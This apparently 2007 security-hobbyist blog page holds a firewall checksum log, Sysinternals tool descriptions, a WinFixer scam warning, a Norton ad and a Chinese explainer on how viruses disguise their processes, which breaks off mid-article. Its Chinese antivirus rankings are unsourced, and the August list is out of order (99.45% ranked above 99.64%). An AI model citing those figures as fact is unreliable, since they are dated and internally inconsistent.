15/11/2007 15:17:20 Incorrect IP packet checksum 0
15/11/2007 15:17:20 Incorrect IP packet checksum 0
15/11/2007 15:17:20 Incorrect IP packet checksum 0
15/11/2007 15:17:20 Incorrect IP packet checksum 0
15/11/2007 15:17:20 Incorrect IP packet checksum 0
15/11/2007 15:17:20 Incorrect IP packet checksum 0
15/11/2007 15:17:19 Incorrect IP packet checksum 0
15/11/2007 15:17:19 Incorrect IP packet checksum 0
15/11/2007 15:17:19 Incorrect IP packet checksum 0
15/11/2007 15:17:19 Incorrect IP packet checksum 0
15/11/2007 15:17:19 Incorrect IP packet checksum 0
15/11/2007 15:13:43 Incorrect IP packet checksum 0
15/11/2007 15:09:29 Incorrect IP packet checksum 0
15/11/2007 15:09:27 Incorrect IP packet checksum 0
15/11/2007 15:09:27 Incorrect IP packet checksum 0
15/11/2007 15:09:27 Incorrect IP packet checksum 0
15/11/2007 15:09:27 Incorrect IP packet checksum 0
15/11/2007 15:09:27 Incorrect IP packet checksum 0
15/11/2007 15:09:27 Incorrect IP packet checksum 0
15/11/2007 15:09:07 Incorrect IP packet checksum 0
15/11/2007 14:09:58 Incorrect IP packet checksum 0
15/11/2007 14:09:57 Incorrect IP packet checksum 0
15/11/2007 14:09:57 Incorrect IP packet checksum 0
15/11/2007 14:09:56 Incorrect IP packet checksum 0
15/11/2007 14:09:56 Incorrect IP packet checksum 0
15/11/2007 14:09:56 Incorrect IP packet checksum 0
15/11/2007 13:15:24 Incorrect IP packet checksum 0
15/11/2007 13:05:09 Incorrect IP packet checksum 0
15/11/2007 13:05:07 Incorrect IP packet checksum 0
15/11/2007 13:05:07 Incorrect IP packet checksum 0
15/11/2007 13:05:07 Incorrect IP packet checksum 0
15/11/2007 13:05:07 Incorrect IP packet checksum 0
15/11/2007 13:05:07 Incorrect IP packet checksum 0
15/11/2007 13:01:51 Incorrect IP packet checksum 0
15/11/2007 12:58:30 Incorrect IP packet checksum 0
15/11/2007 12:58:28 Incorrect IP packet checksum 0
15/11/2007 12:58:28 Incorrect IP packet checksum 0
15/11/2007 12:58:27 Incorrect IP packet checksum 0
15/11/2007 12:58:27 Incorrect IP packet checksum 0
15/11/2007 12:58:27 Incorrect IP packet checksum 0
15/11/2007 12:57:59 Incorrect IP packet checksum 0
15/11/2007 12:50:48 Incorrect IP packet checksum 0
15/11/2007 12:50:46 Incorrect IP packet checksum 0
15/11/2007 12:50:46 Incorrect IP packet checksum 0
15/11/2007 12:50:46 Incorrect IP packet checksum 0
15/11/2007 12:50:46 Incorrect IP packet checksum 0
15/11/2007 12:50:46 Incorrect IP packet checksum 0
14/11/2007 22:29:07 Incorrect IP packet checksum 0
14/11/2007 22:29:05 Incorrect IP packet checksum 0
14/11/2007 22:29:05 Incorrect IP packet checksum 0
14/11/2007 22:29:05 Incorrect IP packet checksum 0
14/11/2007 22:22:33 Incorrect IP packet checksum 0
14/11/2007 22:22:32 Incorrect IP packet checksum 0
14/11/2007 22:22:32 Incorrect IP packet checksum 0
14/11/2007 22:22:32 Incorrect IP packet checksum 0
14/11/2007 19:33:36 Incorrect IP packet checksum 0
14/11/2007 19:13:34 Incorrect IP packet checksum 0
14/11/2007 19:13:30 Incorrect IP packet checksum 0
14/11/2007 19:13:30 Incorrect IP packet checksum 0
14/11/2007 19:13:30 Incorrect IP packet checksum 0
14/11/2007 19:05:24 Incorrect IP packet checksum 0
14/11/2007 19:05:14 Incorrect IP packet checksum 0
14/11/2007 19:05:14 Incorrect IP packet checksum 0
14/11/2007 19:05:13 Incorrect IP packet checksum 0
14/11/2007 19:05:13 Incorrect IP packet checksum 0
14/11/2007 16:39:35 Incorrect IP packet checksum 0
14/11/2007 16:39:26 Incorrect IP packet checksum 0
14/11/2007 16:39:25 Incorrect IP packet checksum 0
14/11/2007 16:39:25 Incorrect IP packet checksum 0
14/11/2007 16:39:25 Incorrect IP packet checksum 0
14/11/2007 16:39:24 Incorrect IP packet checksum 0
14/11/2007 16:39:24 Incorrect IP packet checksum 0
14/11/2007 16:20:31 Incorrect IP packet checksum 0
14/11/2007 16:20:30 Incorrect IP packet checksum 0
14/11/2007 16:20:30 Incorrect IP packet checksum 0
14/11/2007 16:20:29 Incorrect IP packet checksum 0
14/11/2007 16:17:42 Incorrect IP packet checksum 0
14/11/2007 16:17:40 Incorrect IP packet checksum 0
14/11/2007 16:17:39 Incorrect IP packet checksum 0
14/11/2007 16:17:39 Incorrect IP packet checksum 0
14/11/2007 16:17:38 Incorrect IP packet checksum 0
14/11/2007 16:17:38 Incorrect IP packet checksum 0
13/11/2007 22:00:36 Incorrect IP packet checksum 0
13/11/2007 21:46:47 Incorrect IP packet checksum 0
13/11/2007 21:46:45 Incorrect IP packet checksum 0
13/11/2007 21:46:45 Incorrect IP packet checksum 0
13/11/2007 21:46:44 Incorrect IP packet checksum 0
13/11/2007 21:46:44 Incorrect IP packet checksum 0
13/11/2007 21:46:44 Incorrect IP packet checksum 0
13/11/2007 17:38:50 Incorrect IP packet checksum 0
13/11/2007 17:37:48 Incorrect IP packet checksum 0
13/11/2007 17:37:47 Incorrect IP packet checksum 0
13/11/2007 17:37:47 Incorrect IP packet checksum 0
13/11/2007 17:37:47 Incorrect IP packet checksum 0
13/11/2007 17:37:46 Incorrect IP packet checksum 0
13/11/2007 17:37:46 Incorrect IP packet checksum 0
13/11/2007 17:37:20 Incorrect IP packet checksum 0
13/11/2007 17:28:40 Incorrect IP packet checksum 0
13/11/2007 17:28:38 Incorrect IP packet checksum 0
13/11/2007 17:28:38 Incorrect IP packet checksum 0
13/11/2007 17:28:37 Incorrect IP packet checksum 0
13/11/2007 17:28:37 Incorrect IP packet checksum 0
13/11/2007 17:28:37 Incorrect IP packet checksum 0
13/11/2007 17:28:37 Incorrect IP packet checksum 0
13/11/2007 17:28:37 Incorrect IP packet checksum 0
13/11/2007 16:54:03 Incorrect IP packet checksum 0
13/11/2007 16:23:24 Incorrect IP packet checksum 0
13/11/2007 16:23:20 Incorrect IP packet checksum 0
13/11/2007 16:23:20 Incorrect IP packet checksum 0
13/11/2007 16:23:20 Incorrect IP packet checksum 0
13/11/2007 16:23:20 Incorrect IP packet checksum 0
13/11/2007 16:23:20 Incorrect IP packet checksum 0
13/11/2007 16:22:52 Incorrect IP packet checksum 0
13/11/2007 16:11:11 Incorrect IP packet checksum 0
13/11/2007 16:11:09 Incorrect IP packet checksum 0
13/11/2007 16:11:09 Incorrect IP packet checksum 0
13/11/2007 16:11:09 Incorrect IP packet checksum 0
13/11/2007 16:11:09 Incorrect IP packet checksum 0
13/11/2007 16:11:09 Incorrect IP packet checksum 0
13/11/2007 16:11:09 Incorrect IP packet checksum 0
13/11/2007 16:11:08 Incorrect IP packet checksum 0
13/11/2007 16:11:08 Incorrect IP packet checksum 0
13/11/2007 16:11:07 Incorrect IP packet checksum 0
13/11/2007 16:10:01 Incorrect IP packet checksum 0
13/11/2007 16:03:59 Incorrect IP packet checksum 0
13/11/2007 16:03:54 Incorrect IP packet checksum 0
13/11/2007 16:03:54 Incorrect IP packet checksum 0
13/11/2007 16:03:54 Incorrect IP packet checksum 0
13/11/2007 16:03:54 Incorrect IP packet checksum 0
13/11/2007 16:03:54 Incorrect IP packet checksum 0
13/11/2007 16:00:10 Incorrect IP packet checksum 0
13/11/2007 15:51:25 Incorrect IP packet checksum 0
13/11/2007 15:51:19 Incorrect IP packet checksum 0
13/11/2007 15:51:19 Incorrect IP packet checksum 0
13/11/2007 15:51:19 Incorrect IP packet checksum 0
13/11/2007 15:51:19 Incorrect IP packet checksum 0
13/11/2007 15:51:18 Incorrect IP packet checksum 0
13/11/2007 15:43:46 Incorrect IP packet checksum 0
13/11/2007 15:42:50 Incorrect IP packet checksum 0
13/11/2007 15:42:46 Incorrect IP packet checksum 0
13/11/2007 15:42:46 Incorrect IP packet checksum 0
13/11/2007 15:42:46 Incorrect IP packet checksum 0
13/11/2007 15:42:45 Incorrect IP packet checksum 0
13/11/2007 15:42:45 Incorrect IP packet checksum 0
12/11/2007 20:17:30 Incorrect IP packet checksum 0
12/11/2007 20:09:25 Incorrect IP packet checksum 0
12/11/2007 20:09:23 Incorrect IP packet checksum 0
12/11/2007 20:09:23 Incorrect IP packet checksum 0
12/11/2007 20:09:23 Incorrect IP packet checksum 0
12/11/2007 20:09:23 Incorrect IP packet checksum 0
12/11/2007 20:09:22 Incorrect IP packet checksum 0
12/11/2007 19:35:41 Incorrect IP packet checksum 0
12/11/2007 19:33:36 Incorrect IP packet checksum 0
12/11/2007 19:33:36 Incorrect IP packet checksum 0
12/11/2007 19:33:36 Incorrect IP packet checksum 0
12/11/2007 19:33:35 Incorrect IP packet checksum 0
12/11/2007 19:33:35 Incorrect IP packet checksum 0
12/11/2007 19:33:35 Incorrect IP packet checksum 0
12/11/2007 19:33:09 Incorrect IP packet checksum 0
12/11/2007 19:33:03 Incorrect IP packet checksum 0
12/11/2007 19:33:03 Incorrect IP packet checksum 0
12/11/2007 19:33:02 Incorrect IP packet checksum 0
12/11/2007 19:33:02 Incorrect IP packet checksum 0
12/11/2007 19:33:02 Incorrect IP packet checksum 0
12/11/2007 19:32:21 Incorrect IP packet checksum 0
12/11/2007 19:31:15 Incorrect IP packet checksum 0
12/11/2007 19:31:14 Incorrect IP packet checksum 0
12/11/2007 19:31:14 Incorrect IP packet checksum 0
12/11/2007 19:31:14 Incorrect IP packet checksum 0
12/11/2007 19:31:14 Incorrect IP packet checksum 0
12/11/2007 19:31:14 Incorrect IP packet checksum 0
12/11/2007 19:30:46 Incorrect IP packet checksum 0
12/11/2007 19:30:40 Incorrect IP packet checksum 0
12/11/2007 19:30:35 Incorrect IP packet checksum 0
12/11/2007 19:30:35 Incorrect IP packet checksum 0
12/11/2007 19:30:34 Incorrect IP packet checksum 0
12/11/2007 19:30:34 Incorrect IP packet checksum 0
12/11/2007 19:30:34 Incorrect IP packet checksum 0
12/11/2007 19:29:46 Incorrect IP packet checksum 0
12/11/2007 19:29:08 Incorrect IP packet checksum 0
12/11/2007 19:29:07 Incorrect IP packet checksum 0
12/11/2007 19:29:07 Incorrect IP packet checksum 0
12/11/2007 19:29:07 Incorrect IP packet checksum 0
12/11/2007 19:29:07 Incorrect IP packet checksum 0
12/11/2007 19:29:06 Incorrect IP packet checksum 0
12/11/2007 19:29:06 Incorrect IP packet checksum 0
12/11/2007 19:28:30 Incorrect IP packet checksum 0
12/11/2007 19:28:14 Incorrect IP packet checksum 0
12/11/2007 19:28:05 Incorrect IP packet checksum 0
12/11/2007 19:28:05 Incorrect IP packet checksum 0
12/11/2007 19:28:04 Incorrect IP packet checksum 0
12/11/2007 19:28:04 Incorrect IP packet checksum 0
12/11/2007 19:28:03 Incorrect IP packet checksum 0
12/11/2007 19:28:00 Incorrect IP packet checksum 0
12/11/2007 19:25:37 Incorrect IP packet checksum 0
12/11/2007 19:15:14 Incorrect IP packet checksum 0
12/11/2007 19:15:04 Incorrect IP packet checksum 0
12/11/2007 19:15:04 Incorrect IP packet checksum 0
12/11/2007 19:15:04 Incorrect IP packet checksum 0
12/11/2007 19:15:04 Incorrect IP packet checksum 0
12/11/2007 19:15:03 Incorrect IP packet checksum 0
12/11/2007 19:14:35 Incorrect IP packet checksum 0
12/11/2007 19:13:18 Incorrect IP packet checksum 0
12/11/2007 19:13:15 Incorrect IP packet checksum 0
12/11/2007 19:13:15 Incorrect IP packet checksum 0
12/11/2007 19:13:14 Incorrect IP packet checksum 0
12/11/2007 19:13:14 Incorrect IP packet checksum 0
12/11/2007 19:13:14 Incorrect IP packet checksum 0
12/11/2007 19:12:48 Incorrect IP packet checksum 0
12/11/2007 19:12:43 Incorrect IP packet checksum 0
12/11/2007 19:12:39 Incorrect IP packet checksum 0
12/11/2007 19:12:39 Incorrect IP packet checksum 0
12/11/2007 19:12:39 Incorrect IP packet checksum 0
12/11/2007 19:12:39 Incorrect IP packet checksum 0
12/11/2007 19:12:39 Incorrect IP packet checksum 0
12/11/2007 19:12:13 Incorrect IP packet checksum 0
12/11/2007 19:12:05 Incorrect IP packet checksum 0
12/11/2007 19:12:01 Incorrect IP packet checksum 0
12/11/2007 19:12:01 Incorrect IP packet checksum 0
12/11/2007 19:12:01 Incorrect IP packet checksum 0
12/11/2007 19:12:01 Incorrect IP packet checksum 0
12/11/2007 19:12:01 Incorrect IP packet checksum 0
12/11/2007 19:11:32 Incorrect IP packet checksum 0
12/11/2007 19:11:10 Incorrect IP packet checksum 0
12/11/2007 19:11:07 Incorrect IP packet checksum 0
12/11/2007 19:11:07 Incorrect IP packet checksum 0
12/11/2007 19:11:06 Incorrect IP packet checksum 0
12/11/2007 19:11:06 Incorrect IP packet checksum 0
12/11/2007 19:11:06 Incorrect IP packet checksum 0
12/11/2007 19:10:39 Incorrect IP packet checksum 0
12/11/2007 19:08:39 Incorrect IP packet checksum 0
12/11/2007 19:08:38 Incorrect IP packet checksum 0
12/11/2007 19:08:38 Incorrect IP packet checksum 0
12/11/2007 19:08:37 Incorrect IP packet checksum 0
12/11/2007 19:08:37 Incorrect IP packet checksum 0
12/11/2007 19:08:36 Incorrect IP packet checksum 0
12/11/2007 19:08:36 Incorrect IP packet checksum 0
12/11/2007 19:08:36 Incorrect IP packet checksum 0
12/11/2007 19:08:10 Incorrect IP packet checksum 0
12/11/2007 19:04:22 Incorrect IP packet checksum 0
12/11/2007 19:04:21 Incorrect IP packet checksum 0
12/11/2007 19:04:21 Incorrect IP packet checksum 0
12/11/2007 19:04:20 Incorrect IP packet checksum 0
12/11/2007 19:04:20 Incorrect IP packet checksum 0
12/11/2007 19:04:20 Incorrect IP packet checksum 0
12/11/2007 18:50:13 Incorrect IP packet checksum 0
12/11/2007 18:49:59 Incorrect IP packet checksum 0
12/11/2007 18:49:51 Incorrect IP packet checksum 0
12/11/2007 18:49:51 Incorrect IP packet checksum 0
12/11/2007 18:49:50 Incorrect IP packet checksum 0
12/11/2007 18:49:50 Incorrect IP packet checksum 0
12/11/2007 18:49:50 Incorrect IP packet checksum 0
12/11/2007 18:49:23 Incorrect IP packet checksum 0
12/11/2007 18:34:18 Incorrect IP packet checksum 0
12/11/2007 18:34:16 Incorrect IP packet checksum 0
12/11/2007 18:34:16 Incorrect IP packet checksum 0
12/11/2007 18:34:16 Incorrect IP packet checksum 0
12/11/2007 18:34:16 Incorrect IP packet checksum 0
12/11/2007 18:34:15 Incorrect IP packet checksum 0
12/11/2007 18:33:50 Incorrect IP packet checksum 0
12/11/2007 18:31:03 Incorrect IP packet checksum 0
12/11/2007 18:31:00 Incorrect IP packet checksum 0
12/11/2007 18:31:00 Incorrect IP packet checksum 0
12/11/2007 18:31:00 Incorrect IP packet checksum 0
12/11/2007 18:31:00 Incorrect IP packet checksum 0
12/11/2007 18:31:00 Incorrect IP packet checksum 0
12/11/2007 18:10:00 Incorrect IP packet checksum 0
12/11/2007 18:02:13 Incorrect IP packet checksum 0
12/11/2007 18:02:04 Incorrect IP packet checksum 0
12/11/2007 18:02:04 Incorrect IP packet checksum 0
12/11/2007 18:02:04 Incorrect IP packet checksum 0
12/11/2007 18:02:04 Incorrect IP packet checksum 0
12/11/2007 18:02:04 Incorrect IP packet checksum 0
12/11/2007 17:50:13 Incorrect IP packet checksum 0
12/11/2007 17:39:29 Incorrect IP packet checksum 0
12/11/2007 17:39:27 Incorrect IP packet checksum 0
12/11/2007 17:39:27 Incorrect IP packet checksum 0
12/11/2007 17:39:27 Incorrect IP packet checksum 0
12/11/2007 17:39:26 Incorrect IP packet checksum 0
12/11/2007 17:39:26 Incorrect IP packet checksum 0
11/11/2007 23:07:42 Incorrect IP packet checksum 0
11/11/2007 22:52:43 Incorrect IP packet checksum 0
11/11/2007 22:52:35 Incorrect IP packet checksum 0
11/11/2007 22:52:35 Incorrect IP packet checksum 0
11/11/2007 22:52:35 Incorrect IP packet checksum 0
11/11/2007 22:52:35 Incorrect IP packet checksum 0
11/11/2007 22:52:35 Incorrect IP packet checksum 0
11/11/2007 21:31:34 Incorrect IP packet checksum 0
11/11/2007 21:31:31 Incorrect IP packet checksum 0
11/11/2007 21:31:31 Incorrect IP packet checksum 0
11/11/2007 21:31:31 Incorrect IP packet checksum 0
11/11/2007 21:31:31 Incorrect IP packet checksum 0
11/11/2007 21:31:31 Incorrect IP packet checksum 0
11/11/2007 21:31:31 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:31:30 Incorrect IP packet checksum 0
11/11/2007 21:12:44 Incorrect IP packet checksum 0
11/11/2007 21:12:37 Incorrect IP packet checksum 0
11/11/2007 21:12:37 Incorrect IP packet checksum 0
11/11/2007 21:12:37 Incorrect IP packet checksum 0
11/11/2007 21:12:37 Incorrect IP packet checksum 0
11/11/2007 21:12:36 Incorrect IP packet checksum 0
11/11/2007 20:56:54 Incorrect IP packet checksum 0
11/11/2007 20:56:23 Incorrect IP packet checksum 0
11/11/2007 20:56:21 Incorrect IP packet checksum 0
11/11/2007 20:56:21 Incorrect IP packet checksum 0
11/11/2007 20:56:20 Incorrect IP packet checksum 0
11/11/2007 20:56:20 Incorrect IP packet checksum 0
11/11/2007 20:56:20 Incorrect IP packet checksum 0
11/11/2007 20:56:20 Incorrect IP packet checksum 0
11/11/2007 20:56:19 Incorrect IP packet checksum 0
11/11/2007 20:52:36 Incorrect IP packet checksum 0
11/11/2007 20:47:18 Incorrect IP packet checksum 0
11/11/2007 20:47:14 Incorrect IP packet checksum 0
11/11/2007 20:47:14 Incorrect IP packet checksum 0
11/11/2007 20:47:14 Incorrect IP packet checksum 0
11/11/2007 20:47:14 Incorrect IP packet checksum 0
11/11/2007 20:47:13 Incorrect IP packet checksum 0
11/11/2007 17:57:04 Incorrect IP packet checksum 0
11/11/2007 17:57:03 Incorrect IP packet checksum 0
11/11/2007 17:57:03 Incorrect IP packet checksum 0
11/11/2007 17:57:03 Incorrect IP packet checksum 0
11/11/2007 17:57:03 Incorrect IP packet checksum 0
11/11/2007 17:57:03 Incorrect IP packet checksum 0
11/11/2007 17:16:38 Incorrect IP packet checksum 0
11/11/2007 17:16:30 Incorrect IP packet checksum 0
11/11/2007 17:16:30 Incorrect IP packet checksum 0
11/11/2007 17:16:30 Incorrect IP packet checksum 0
11/11/2007 17:16:30 Incorrect IP packet checksum 0
11/11/2007 17:16:29 Incorrect IP packet checksum 0
11/11/2007 17:16:29 Incorrect IP packet checksum 0
11/11/2007 17:16:29 Incorrect IP packet checksum 0
10/11/2007 17:28:22 Detected Reverse TCP Desynchronization attack 218.254.188.46:4770 192.168.2.5:50390 TCP

People Who Has A Mac or Linux Please Contact Us

2007-11-20T22:26:00.001-08:00

People Who Has A Mac or Linux Please Contact Us

Blaze Company No Longer Support Nakuz Forum

2007-11-08T04:42:00.000-08:00

After a few months of discussion , we decided to leave Nakuz Fourm

Vote Results

12 Agree to Leave / 10 Disagree to Leave

Edwin will resign the moderator of Nakuz Computer Forums and we are going to build a forum later on.

People who are interested are welcome to leave comments for more details

Thanks,
Blaze Company - Admin Team

Notice : Background Music Added

2007-10-31T02:57:00.000-07:00

Wasted half-an-hour to upload the background music..
Still working on it =)

AutoRuns for Windows v8.73

2007-10-30T02:57:00.000-07:00

Introduction

This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor, shows you what programs are configured to run during system bootup or login, and shows you the entries in the order Windows processes them. These programs include ones in your startup folder, Run, RunOnce, and other Registry keys. You can configure Autoruns to show other locations, including Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more. Autoruns goes way beyond the MSConfig utility bundled with Windows Me and XP.

Autoruns' Hide Signed Microsoft Entries option helps you to zoom in on third-party auto-starting images that have been added to your system and it has support for looking at the auto-starting images configured for other accounts configured on a system. Also included in the download package is a command-line equivalent that can output in CSV format, Autorunsc.

You'll probably be surprised at how many executables are launched automatically!

Autoruns works on all versions of Windows including 64-bit versions.

Screenshot

See the November 2004 issue of Windows IT Pro Magazine for Mark's article that covers advanced usage of Autoruns . If you have questions or problems visit the Sysinternals Autoruns Forum.

Simply run Autoruns and it shows you the currently configured auto-start applications as well as the full list of Registry and file system locations available for auto-start configuration. Autostart locations displayed by Autoruns include logon entries, Explorer add-ons, Internet Explorer add-ons including Browser Helper Objects (BHOs), Appinit DLLs, image hijacks, boot execute images, Winlogon notification DLLs, Windows Services and Winsock Layered Service Providers. Switch tabs to view autostarts from different categories.

To view the properties of an executable configured to run automatically, select it and use the Properties menu item or toolbar button. If Process Explorer is running and there is an active process executing the selected executable then the Process Explorer menu item in the Entry menu will open the process properties dialog box for the process executing the selected image.

Navigate to the Registry or file system location displayed or the configuration of an auto-start item by selecting the item and using the Jump menu item or toolbar button.

To disable an auto-start entry uncheck its check box. To delete an auto-start configuration entry use the Delete menu item or toolbar button.

Select entries in the User menu to view auto-starting images for different user accounts.

More information on display options and additional information is available in the on-line help.

Download Autoruns and Autorunsc (490 KB)

Process Explorer v11.03

2007-10-30T02:53:00.001-07:00

Introduction

Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.

The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.

The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.

Process Explorer works on Windows 9x/Me, Windows NT 4.0, Windows 2000, Windows XP, Server 2003, and 64-bit versions of Windows for x64 and IA64 processors, and Windows Vista.

What's new in Version 11.0:

•	New treelist control for better UI responsiveness
•	Asynchronous thread symbol resolution on threads tab of process properties
•	More flags on groups in security tab and SID display
•	Thread IDs on threads tab
•	On-line search uses default web browser and search engine
•	Vista ASLR column for processes and DLLs
•	Vista Process and thread I/O and memory priorities in process and thread properties
•	Vista Process and thread I/O and memory columns
•	PROCESS_QUERY_LIMITED_INFORMATION support on process permissions on Vista
•	Run as limited user runs with low IL on Vista
•	Reports information for all object types on Vista
•	Show details for all processes elevation menu item on Vista
•	Supports replacement of task manager on Vista
•	/e to launch elevated
•	/s switch to select a process at startup
•	Compiled w/ASLR, DEP
•	Faster startup
•	Miscellaneous bug fixes and minor improvements

Download Process Explorer (1.5 MB)

Process Monitor v1.25

2007-10-30T02:51:00.000-07:00

Introduction

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.

Process Monitor runs on Windows 2000 SP4 with Update Rollup 1, Windows XP SP2, Windows Server 2003 SP1, and Windows Vista as well as x64 versions of Windows XP, Windows Server 2003 SP1 and Windows Vista.

Process Monitor Enhancements over Filemon and Regmon

Process Monitor's user interface and options are similar to those of Filemon and Regmon, but it was written from the ground up and includes numerous significant enhancements, such as:

•	Monitoring of process and thread startup and exit, including exit status codes
•	Monitoring of image (DLL and kernel-mode device driver) loads
•	More data captured for operation input and output parameters
•	Non-destructive filters allow you to set filters without losing data
•	Capture of thread stacks for each operation make it possible in many cases to identify the root cause of an operation
•	Reliable capture of process details, including image path, command line, user and session ID
•	Configurable and moveable columns for any event property
•	Filters can be set for any data field, including fields not configured as columns
•	Advanced logging architecture scales to tens of millions of captured events and gigabytes of log data
•	Process tree tool shows relationship of all processes referenced in a trace
•	Native log format preserves all data for loading in a different Process Monitor instance
•	Process tooltip for easy viewing of process image information
•	Detail tooltip allows convenient access to formatted data that doesn't fit in the columna
•	Cancellable search
•	Boot time logging of all operations

The best way to become familiar with Process Monitor's features is to read through the help file and then visit each of its menu items and options on a live system.

Screenshots

Download Process Monitor (913 KB)

WinFixer Strikes Again

2007-10-15T04:15:00.000-07:00

For the past couple of weeks, we've been seeing an increase in spam advertising a fake application called WinFixer.

This particular wave of spam claims to come from a man named Pierre Boutin and is aimed at Francophones. We've also seen versions in English but the product is the same - a rogue program which gives you false warnings about viruses, then encourages you to buy the fake anti-spyware software -- which may even make things worse, according to research from Sunbelt Software.

The application has been around for awhile in a variety of forms. For example, you may have seen popups that look like Windows warning dialogs and say "If your computer has been running slower than normal, it may be infected with Viruses, Adware, or Spyware."

A misleading popup designed to look like a Windows dialog.

That's the same application. It also goes by the names ErrorSafe, DriveCleaner, WinAntiSpyware, ECsecured and WinAntiVirus. Sunbelt has also found Winfixer promoted on a series of fake security sites.

Another variant of the same application goes under the name of PrivacyProtector. The PrivacyProtector website is currently rated green by SiteAdvisor, because it hasn't had any downloads for us to test. However, we'll be overriding that to red shortly, based on its association with WinFixer.

There's already a class-action lawsuit against the makers and distributors of the program. The lawyer who leads the action (quoted in this Silicon Valley television news investigation) claims that WinFixer generates as much as $34 million per year in ill-gotten revenue:

The plaintiffs are having trouble locating the actual scammers, though: according to Wikipedia, the application and its associated domains have an ownership trail that runs through the UK, the Ukraine, and Belize.

At any rate, if you find an offer to install WinFixer or any of its relatives, don't. And if it installs itself, don't pay for it-- look for a way to get rid of it, instead. You can protect yourself by using SiteAdvisor, and also by using the Firefox web browser, which may be somewhat more resistant to automatic installation attacks.

出名殺毒軟件反病毒智能系統 + 殺毒系統排行 (8月)

2007-09-22T08:00:00.000-07:00

反病毒智能系統排行 (7月)

1.Avira AntiVir - 71%

2.Fortinet FortiClient - 71%

3.ESET NOD32 - 68%

4.AEC TrustPort - 58%

5.Bitdefender - 48%

6.F-Prot - 31%

7.AVK AntiVirus Kit - 31%

8.F-Secure - 31%

9.Dr.Web - 30%

10.Norman Virus Control - 29%

11.avast! - 26%

12.Symantec Norton AntiVirus - 24%

13.Mcafee VirusScan - 24%

14.Microsoft OneCare - 18%

15.Kaspersky AntiVirus - 9%

16.MicroWorld eScan Anti-Virus - 9%

17.AVG Anti-Malware - 8%

殺毒系統排行 (8月)

1.AntiVir PE Premium - 99.45%

2.TrustPort AV WS - 99.64%

3.GDATA AntiVirusKit - 99.31%

4.Symantec Norton Anti-Virus - 98.80%

5.Kaspersky Anti-Virus - 98.46%

6.Bitdefender - 97.85%

7.AVG Anti-Malware - 97.75%

8.NOD32 Anti-Virus - 97.60%

9.F-Secure Anti-Virus - 97.57%

10.eScan Anti-Virus - 97.53%

11.avast! Professional - 95.24%

12.Mcafee VirusScan Plus - 93.15%

13.F-Prot Anti-Virus - 92.20%

14.Norman VirusControl - 90.93%

15.Microsoft OneCare - 90.37%

16.FortiClient - 89.98%

17.Dr.Web - 89.87%

Security Software - Norton 360

2007-09-04T01:01:00.000-07:00

We recommend users to use Norton 360

BUY NOW
http://shop.symantecstore.com/store/symnahho/en_US/ContentTheme/ThemeID.518300/pbPage.N360PDpopup_v2/pgm.8087200

病毒進程

2007-08-30T02:52:00.001-07:00

任何病毒和木馬存在于系統中，都無法徹底和進程脫離關系，即使采用了隐藏技術，也還是能夠從進程中找到蛛絲馬迹，因此，查看系統中活動的進程成爲我們檢測病毒木馬最直接的方法。但是系統中同時運行的進程那麽多，哪些是正常的系統進程，哪些是木馬的進程，而經常被病毒木馬假冒的系統進程在系統中又扮演着什麽角色呢？請看本文。

病毒進程隐藏三法
　　當我們确認系統中存在病毒，但是通過“任務管理器”查看系統中的進程時又找不出異樣的進程，這說明病毒采用了一些隐藏措施，總結出來有三法：

1.以假亂真
　　系統中的正常進程有：svchost.exe、explorer.exe、iexplore.exe、winlogon.exe等，可能你發現過系統中存在這樣的進程：svch0st.exe、explore.exe、iexplorer.exe、winlogin.exe。對比一下，發現區别了麽？這是病毒經常使用的伎倆，目的就是迷惑用戶的眼睛。通常它們會将系統中正常進程名的o改爲0，l改爲i，i改爲j，然後成爲自己的進程名，僅僅一字之差，意義卻完全不同。又或者多一個字母或少一個字母，例如explorer.exe和iexplore.exe本來就容易搞混，再出現個iexplorer.exe就更加混亂了。如果用戶不仔細，一般就忽略了，病毒的進程就逃過了一劫。

2.偷梁換柱
　　如果用戶比較心細，那麽上面這招就沒用了，病毒會被就地正法。于是乎，病毒也學聰明了，懂得了偷梁換柱這一招。如果一個進程的名字爲svchost.exe，和正常的系統進程名分毫不差。那麽這個進程是不是就安全了呢？非也，其實它隻是利用了“任務管理器”無法查看進程對應可執行文件這一缺陷。我們知道svchost.exe進程對應的可執行文件位于“C:\WINDOWS\system32”目錄下（Windows2000則是C:\WINNT\system32目錄），如果病毒将自身複制到“C:\WINDOWS\”中，并改名爲svchost.exe，運行後，我們在“任務管理器”中看到的也是svchost.exe，和正常的系統進程無異。你能辨别出其中哪一個是病毒的進程嗎？

3.借屍還魂
　　除了上文中的兩種方法外，病毒還有一招終極大法——借屍還魂。所謂的借屍還魂就是病毒采用了進程插入技術，将病毒運行所需的dll文件插入正常的系統進程中，表面上看無任何可疑情況，實質上系統進程已經被病毒控制了，除非我們借助專業的進程檢測工具，否則要想發現隐藏在其中的病毒是很困難的。

系統進程解惑
　　上文中提到了很多系統進程，這些系統進程到底有何作用，其運行原理又是什麽？下面我們将對這些系統進程進行逐一講解，相信在熟知這些系統進程後，就能成功破解病毒的“以假亂真”和“偷梁換柱”了。

svchost.exe
